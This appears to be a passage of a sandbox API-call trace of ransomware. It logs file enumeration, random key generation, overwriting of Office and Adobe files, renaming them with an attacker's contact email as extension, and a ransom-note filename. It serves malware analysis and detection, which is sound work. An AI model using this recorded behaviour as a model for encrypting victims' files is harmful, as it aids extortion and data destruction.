[0059.098] ReadFile (in: hFile=0xf44, lpBuffer=0x1982e028, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xe14f664, lpOverlapped=0x0 | out: lpBuffer=0x1982e028*, lpNumberOfBytesRead=0xe14f664*=0xc800, lpOverlapped=0x0) returned 1 [0059.101] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x3a486, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.101] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.101] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0059.101] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c80 [0059.101] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c80) returned 1 [0059.102] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9779058 [0059.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c80 [0059.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a78 [0059.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a78) returned 1 [0059.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0059.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.103] WriteFile (in: hFile=0xf44, lpBuffer=0x9779058*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xe14f664, lpOverlapped=0x0 | out: lpBuffer=0x9779058*, lpNumberOfBytesWritten=0xe14f664*=0xc800, lpOverlapped=0x0) returned 1 [0064.385] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9779058) returned 1 [0064.385] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x4462c0 [0064.385] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.385] WriteFile (hFile=0xf44, lpBuffer=0x449d80, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0xe14f70c, lpOverlapped=0x0) Thread: id = 564 os_tid = 0xfc0 [0049.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat")) returned 0x20 [0051.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT", dwFileAttributes=0x20) returned 1 [0054.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf80 [0054.948] GetFileSizeEx (in: hFile=0xf80, lpFileSize=0xd18fabc | out: lpFileSize=0xd18fabc*=34168) returned 1 [0054.948] SetFilePointerEx (in: hFile=0xf80, liDistanceToMove=0x8574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.948] ReadFile (in: hFile=0xf80, lpBuffer=0xd18fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd18fa3c, lpOverlapped=0x0 | out: lpBuffer=0xd18fa40*, lpNumberOfBytesRead=0xd18fa3c*=0x4, lpOverlapped=0x0) returned 1 [0054.955] SetFilePointerEx (in: hFile=0xf80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460238 [0054.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0054.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4602b0 [0054.955] NtQuerySystemTime (in: CurrentTime=0xd18fa1c | out: CurrentTime=0xd18fa1c*=132174898189356000) returned 0x0 [0054.955] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x605df34d [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x513d55e7 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x79cec513 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x55868944 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x468bbf76 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x59397792 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0xcb567c9 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x47ea1ca4 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x5599a9ed [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x62ef9346 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x398cf06b [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x3964e44c [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x3c73b1c1 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x2138ca5 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x1ae79fab [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x51a0bd25 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x1d1d79e3 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x181aecab [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x50459d29 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x6d06bf78 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x2f6460ca [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x707e21e2 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x7e74be6f [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x7cc081b5 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0xc9eba25 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x3d20b2e0 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x15335179 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x1ff93346 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x17219dd0 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0xa42f6e8 [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x177c7bfd [0054.956] RtlRandomEx (in: Seed=0xd18fa28 | out: Seed=0xd18fa28) returned 0x4a562d5b [0054.971] ReadFile (in: hFile=0xf80, lpBuffer=0x979e870, nNumberOfBytesToRead=0x8578, lpNumberOfBytesRead=0xd18fa18, lpOverlapped=0x0 | out: lpBuffer=0x979e870*, lpNumberOfBytesRead=0xd18fa18*=0x8578, lpOverlapped=0x0) returned 1 [0054.977] SetFilePointerEx (in: hFile=0xf80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.977] WriteFile (in: hFile=0xf80, lpBuffer=0x5e47860*, nNumberOfBytesToWrite=0x8578, lpNumberOfBytesWritten=0xd18fa14, lpOverlapped=0x0 | out: lpBuffer=0x5e47860*, lpNumberOfBytesWritten=0xd18fa14*=0x8578, lpOverlapped=0x0) returned 1 [0054.979] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460238 [0054.979] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4602b0 [0054.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4602b0) returned 1 [0054.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47860) returned 1 [0054.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x979e870) returned 1 [0054.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418cf8) returned 1 [0054.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0054.979] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4088c0 [0054.980] SetFilePointerEx (in: hFile=0xf80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.980] WriteFile (in: hFile=0xf80, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0xd18fa7c, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0xd18fa7c*=0x105, lpOverlapped=0x0) returned 1 [0054.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0054.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0054.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4602b0) returned 1 [0054.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0054.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460238) returned 1 [0054.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460210) returned 1 [0054.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460350) returned 1 [0054.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460288) returned 1 [0054.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e028a0 [0054.981] wcscpy (in: _Dest=0x5e028a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" [0054.981] wcscat (in: _Dest=0x5e028a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.mailto[2Hamlampampom@cock.li].cd46d" [0054.981] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xd18fa34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d898 [0054.983] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d898) returned 1 [0054.983] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b3ab8) returned 1 [0054.983] NtQueryInformationFile (in: FileHandle=0xf80, IoStatusBlock=0xd18fa40, FileInformation=0xd18fa18, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xd18fa40, FileInformation=0xd18fa18) returned 0x0 [0054.983] NtSetInformationFile (FileHandle=0xf80, IoStatusBlock=0xd18fa40, FileInformation=0xd18fa18, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.984] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e028a0) returned 1 [0054.984] FlushFileBuffers (hFile=0xf80) returned 1 [0054.985] CloseHandle (hObject=0xf80) returned 1 [0054.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446dd0 [0054.986] wcscpy (in: _Dest=0x446dd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0054.986] wcscat (in: _Dest=0x446dd0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" [0054.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\cd46d-readme.txt")) returned 0x20 [0054.986] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446dd0) returned 1 [0054.986] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef108) returned 1 Thread: id = 565 os_tid = 0xfc8 [0049.876] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e007b0 [0049.876] wcscpy (in: _Dest=0x5e007b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0049.876] wcscat (in: _Dest=0x5e007b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\" [0049.877] wcscat (in: _Dest=0x5e007b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" [0049.877] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458e28 [0049.877] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4408e0 [0049.877] wcscmp (_String1=".", _String2=".") returned 0 [0049.877] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.877] wcscmp (_String1="..", _String2=".") returned 1 [0049.877] wcscmp (_String1="..", _String2="..") returned 0 [0049.877] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.877] FindClose (in: hFindFile=0x4408e0 | out: hFindFile=0x4408e0) returned 1 [0049.877] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458e28) returned 1 [0049.877] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e007b0) returned 1 [0049.877] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e550) returned 1 Thread: id = 566 os_tid = 0xfcc [0049.878] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x438060 [0049.878] wcscpy (in: _Dest=0x438060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0049.878] wcscat (in: _Dest=0x438060, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0049.878] wcscat (in: _Dest=0x438060, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*" [0049.878] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458e28 [0049.878] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4408e0 [0049.879] wcscmp (_String1=".", _String2=".") returned 0 [0049.879] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.879] wcscmp (_String1="..", _String2=".") returned 1 [0049.879] wcscmp (_String1="..", _String2="..") returned 0 [0049.879] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0049.879] wcscmp (_String1="#SharedObjects", _String2=".") returned -1 [0049.879] wcscmp (_String1="#SharedObjects", _String2="..") returned -1 [0049.879] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c408 [0049.879] wcscpy (in: _Dest=0x45c408, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0049.879] wcscat (in: _Dest=0x45c408, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0049.879] wcscat (in: _Dest=0x45c408, _Source="#SharedObjects" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0051.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45c408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4 [0051.594] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0051.594] wcscmp (_String1="macromedia.com", _String2=".") returned 1 [0051.594] wcscmp (_String1="macromedia.com", _String2="..") returned 1 [0051.594] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c4c0 [0051.595] wcscpy (in: _Dest=0x45c4c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0051.595] wcscat (in: _Dest=0x45c4c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0051.595] wcscat (in: _Dest=0x45c4c0, _Source="macromedia.com" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0051.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45c4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd74 [0051.596] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0051.596] FindClose (in: hFindFile=0x4408e0 | out: hFindFile=0x4408e0) returned 1 [0051.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458e28) returned 1 [0051.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438060) returned 1 [0051.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef800) returned 1 Thread: id = 567 os_tid = 0xfd0 [0049.880] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest")) returned 0x20 [0058.788] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest", dwFileAttributes=0x20) returned 1 [0058.789] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1108 [0058.789] GetFileSizeEx (in: hFile=0x1108, lpFileSize=0x9f0fdf4 | out: lpFileSize=0x9f0fdf4*=1472) returned 1 [0058.789] SetFilePointerEx (in: hFile=0x1108, liDistanceToMove=0x5bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.789] ReadFile (in: hFile=0x1108, lpBuffer=0x9f0fd78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9f0fd74, lpOverlapped=0x0 | out: lpBuffer=0x9f0fd78*, lpNumberOfBytesRead=0x9f0fd74*=0x4, lpOverlapped=0x0) returned 1 [0058.790] SetFilePointerEx (in: hFile=0x1108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95d0 [0058.790] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95f8 [0058.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9580 [0058.791] NtQuerySystemTime (in: CurrentTime=0x9f0fd54 | out: CurrentTime=0x9f0fd54*=132174898227732000) returned 0x0 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x34a8d655 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x3b433719 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x30cca816 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x71f63c2b [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0xa106b93 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x624ffdd6 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x72c41f1a [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x6ee0712c [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x206d7a95 [0058.791] RtlRandomEx (in: Seed=0x9f0fd60 | out: Seed=0x9f0fd60) returned 0x23c4dcdd [0058.791] RtlRandomEx (in: 